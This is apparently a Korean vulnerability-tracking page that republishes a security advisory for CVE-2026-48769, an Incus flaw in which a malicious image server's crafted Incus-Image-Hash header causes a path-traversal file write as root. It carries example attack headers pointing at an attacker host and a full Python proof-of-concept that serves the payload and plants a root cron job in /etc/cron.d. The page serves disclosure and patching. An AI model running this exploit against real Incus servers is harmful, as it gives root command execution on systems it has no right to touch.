Kestrel
대시보드로 돌아가기
CVE-2026-48769CRITICAL· 9.9GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus has an arbitrary file write on its client due to trusted image hash

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.

Details

  • cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server.
  • cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.
  • cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).
  • cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file.
  • cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated.
  • cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause the arbitrary file write.

text
1Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
2Incus-Image-URL: http://attacker/payload

PoC

The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

python
1#!/usr/bin/env python3
2"""Direct image URL hash path traversal to transient host cron write.
3
4For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.
5
6Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.
7
8"""
9
10from __future__ import annotations
11
12import argparse
13import http.client
14import json
15import shlex
16import socket
17import ssl
18import sys
19import threading
20import time
21import urllib.parse
22from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
23from typing import Any
24
25
26DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
27DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
28
29
30class UnixHTTPConnection(http.client.HTTPConnection):
31 def __init__(self, socket_path: str, timeout: int = 120):
32 super().__init__("incus", timeout=timeout)
33 self.socket_path = socket_path
34
35 def connect(self) -> None:
36 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
37 sock.settimeout(self.timeout)
38 sock.connect(self.socket_path)
39 self.sock = sock
40
41
42class RCEHTTPServer(ThreadingHTTPServer):
43 hash_path: str
44 advertise_url: str
45 payload: bytes
46 hold_seconds: int
47 payload_requested: threading.Event
48
49
50class DirectImageHandler(BaseHTTPRequestHandler):
51 protocol_version = "HTTP/1.1"
52 server_version = "direct-image-rce/1.0"
53
54 def log_message(self, fmt: str, *args: Any) -> None:
55 print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
56
57 def do_HEAD(self) -> None:
58 if self.path != "/stage":
59 self.send_error(404)
60 return
61
62 srv = self.server
63 assert isinstance(srv, RCEHTTPServer)
64 self.send_response(200)
65 self.send_header("Incus-Image-Hash", srv.hash_path)
66 self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
67 self.send_header("Connection", "close")
68 self.end_headers()
69
70 def do_GET(self) -> None:
71 if self.path != "/payload":
72 self.send_error(404)
73 return
74
75 srv = self.server
76 assert isinstance(srv, RCEHTTPServer)
77 srv.payload_requested.set()
78
79 self.send_response(200)
80 self.send_header("Content-Type", "application/octet-stream")
81 self.send_header("Cache-Control", "no-store")
82 self.end_headers()
83 self.wfile.write(srv.payload)
84 self.wfile.flush()
85 print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
86 time.sleep(srv.hold_seconds)
87 self.close_connection = True
88
89
90def quote(value: str) -> str:
91 return urllib.parse.quote(value, safe="")
92
93
94def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
95 if args.insecure:
96 ctx = ssl._create_unverified_context()
97 else:
98 ctx = ssl.create_default_context(cafile=args.cacert)
99
100 if args.cert:
101 ctx.load_cert_chain(args.cert, args.key)
102
103 return ctx
104
105
106def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
107 if args.url:
108 parsed = urllib.parse.urlparse(args.url)
109 if parsed.scheme != "https":
110 raise ValueError("--url must use https")
111
112 return http.client.HTTPSConnection(
113 parsed.hostname,
114 parsed.port or 8443,
115 timeout=args.timeout,
116 context=tls_context(args),
117 )
118
119 return UnixHTTPConnection(args.socket, timeout=args.timeout)
120
121
122def request_json(
123 args: argparse.Namespace,
124 method: str,
125 path: str,
126 obj: dict[str, Any] | None,
127 allow_error: bool = False,
128) -> tuple[int, dict[str, Any]]:
129 body = None if obj is None else json.dumps(obj).encode("utf-8")
130 headers = {"Host": "incus"}
131 if body is not None:
132 headers["Content-Type"] = "application/json"
133
134 conn = connection(args)
135 conn.request(method, path, body=body, headers=headers)
136 resp = conn.getresponse()
137 raw = resp.read()
138 conn.close()
139
140 try:
141 data = json.loads(raw) if raw else {}
142 except json.JSONDecodeError:
143 data = {"raw": raw.decode("utf-8", "replace")}
144
145 if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
146 raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
147
148 return resp.status, data
149
150
151def images_path(project: str) -> str:
152 return "/1.0/images?project=" + quote(project)
153
154
155def cron_payload(command: str) -> bytes:
156 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
157
158
159def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
160 return {
161 "source": {
162 "type": "url",
163 "url": project_url.rstrip("/") + "/stage",
164 },
165 "public": public,
166 }
167
168
169def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
170 server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
171 server.hash_path = args.hash_path
172 server.advertise_url = args.advertise_url
173 server.payload = payload
174 server.hold_seconds = args.hold_seconds
175 server.payload_requested = threading.Event()
176
177 thread = threading.Thread(target=server.serve_forever, daemon=True)
178 thread.start()
179 return server
180
181
182def main() -> int:
183 parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
184 parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
185 parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
186 parser.add_argument("--cert", help="client certificate for remote Incus")
187 parser.add_argument("--key", help="client private key for remote Incus")
188 parser.add_argument("--cacert", help="CA certificate for remote Incus")
189 parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
190 parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
191 parser.add_argument("--project", default="default", help="project used for image import")
192 parser.add_argument("--public", action="store_true", help="mark imported image public")
193 parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
194 parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
195 parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
196 parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
197 parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
198 parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
199 parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
200 parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
201 args = parser.parse_args()
202
203 if bool(args.cert) != bool(args.key):
204 parser.error("--cert and --key must be supplied together")
205 if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
206 parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")
207
208 payload = cron_payload(args.command)
209 trigger_body = image_url_body(args.advertise_url, args.public)
210
211 print("[*] exploit primitive: direct image URL unvalidated hash path host write")
212 print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
213 print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
214 print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
215 print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
216 print(f"[*] cron payload: {payload.decode().rstrip()}")
217 print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")
218
219 if not args.execute_trigger:
220 print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
221 return 0
222
223 server = start_server(args, payload)
224 print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")
225
226 status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
227 print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")
228
229 if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
230 print("[*] daemon requested payload; cron file should exist until the held response is released")
231 else:
232 print("[!] daemon did not request payload within the wait window")
233
234 print("[*] leaving HTTP server active for the remaining hold window")
235 time.sleep(max(0, args.hold_seconds - 30))
236 server.shutdown()
237 server.server_close()
238 return 0
239
240
241if __name__ == "__main__":
242 try:
243 raise SystemExit(main())
244 except BrokenPipeError:
245 raise SystemExit(1)
246 except Exception as exc:
247 print(f"[-] {exc}", file=sys.stderr)
248 raise SystemExit(1)

Impact

An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.